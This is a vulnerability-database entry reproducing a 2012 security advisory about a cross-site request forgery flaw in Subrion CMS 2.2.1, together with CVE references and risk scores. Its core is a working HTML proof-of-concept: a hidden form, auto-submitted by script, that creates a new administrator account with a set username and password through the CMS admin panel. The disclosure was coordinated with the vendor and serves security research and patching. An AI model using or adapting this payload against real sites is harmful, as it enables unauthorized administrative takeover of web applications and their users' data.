Subrion CMS 2.2.1 CSRF Add Admin Exploit

🗓️ 11 Sep 2012 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 31 Views

Subrion CMS 2.2.1 CSRF Add Admin Exploit allows remote attackers to gain admin privileges via HTTP requests, leading to Cross-Site Scripting

Reporter	Title	Published	Views	Family All 13
0day.today	Subrion CMS 2.2.1 XSS / CSRF / SQL Injection	17 Oct 201200:00	–	zdt
Circl	CVE-2012-4773	22 Oct 201200:00	–	circl
CVE	CVE-2012-4773	22 Oct 201223:00	–	cve
Cvelist	CVE-2012-4773	22 Oct 201223:00	–	cvelist
Exploit DB	subrion CMS 2.2.1 - Multiple Vulnerabilities	22 Oct 201200:00	–	exploitdb
EUVD	EUVD-2012-4698	7 Oct 202500:30	–	euvd
exploitpack	subrion CMS 2.2.1 - Multiple Vulnerabilities	22 Oct 201200:00	–	exploitpack
htbridge	Multiple vulnerabilities in Subrion CMS	5 Sep 201200:00	–	htbridge
NVD	CVE-2012-4773	22 Oct 201223:55	–	nvd
Packet Storm	Subrion CMS 2.2.1 XSS / CSRF / SQL Injection	18 Oct 201200:00	–	packetstorm

<!--


Title: Subrion CMS 2.2.1 CSRF Add Admin Exploit


Vendor: Intelliants LLC
Product web page: http://www.subrion.com
Affected version: 2.2.1

Summary: Subrion is a free open source content management system. It's
written in PHP 5 and utilizes MySQL database. Subrion CMS can be easily
integrated into your current website or used as a stand alone platform.
It's extremely flexible and scalable php system that stands for a content
management framework.

Desc: The application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

 - Usergroup 1 - Administrator
 - Usergroup 2 - Moderator
 - Usergroup 8 - Registered


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Vendor status:

[05.09.2012] Vulnerability discovered.
[06.09.2012] Contact with the vendor.
[07.09.2012] Vendor responds asking more details.
[07.09.2012] Sent detailed information to the vendor.
[10.09.2012] Vendor creates patch.
[11.09.2012] Vendor releases version 2.2.2 to address this issue.
[11.09.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5106
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5106.php


05.09.2012


--><html>
<head>
<title>Subrion CMS 2.2.1 CSRF Add Admin Exploit</title>
</head>
<body><center><br/>
<form action="http://localhost/subrion/admin/accounts/add/" method="post" onsubmit="forge()">
<input name="username" type="hidden" value="Commando"/>
<input name="fullname" type="hidden" value="Arnold Schwarzenegger"/>
<input name="email" type="hidden" value="[email protected]"/>
<input name="_password" type="hidden" value="l33tP4ss!"/>
<input name="_password2" type="hidden" value="l33tP4ss!"/>
<input name="usergroup" type="hidden" value="1"/>
<input name="avatar" type="hidden" value=""/>
<input name="sponsored" type="hidden" value="0"/>
<input name="plan_id" type="hidden" value="1"/>
<input name="sponsored_end" type="hidden" value=""/>
<input name="status" type="hidden" value="active"/>
<input name="save" type="hidden" value="Add"/>
<input name="goto" type="hidden" value="list"/>
<input name="old_name" type="hidden" value="ZSL"/>
<input name="id" type="hidden" value=""/>
<input id="exploit" type="submit" value="Forge!"/>
</form></center>
<script type="text/javascript">
function forge(){document.getElementById("exploit").click();}
</script>
</body>
</html>

11 Sep 2012 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 26.8

EPSS0.04447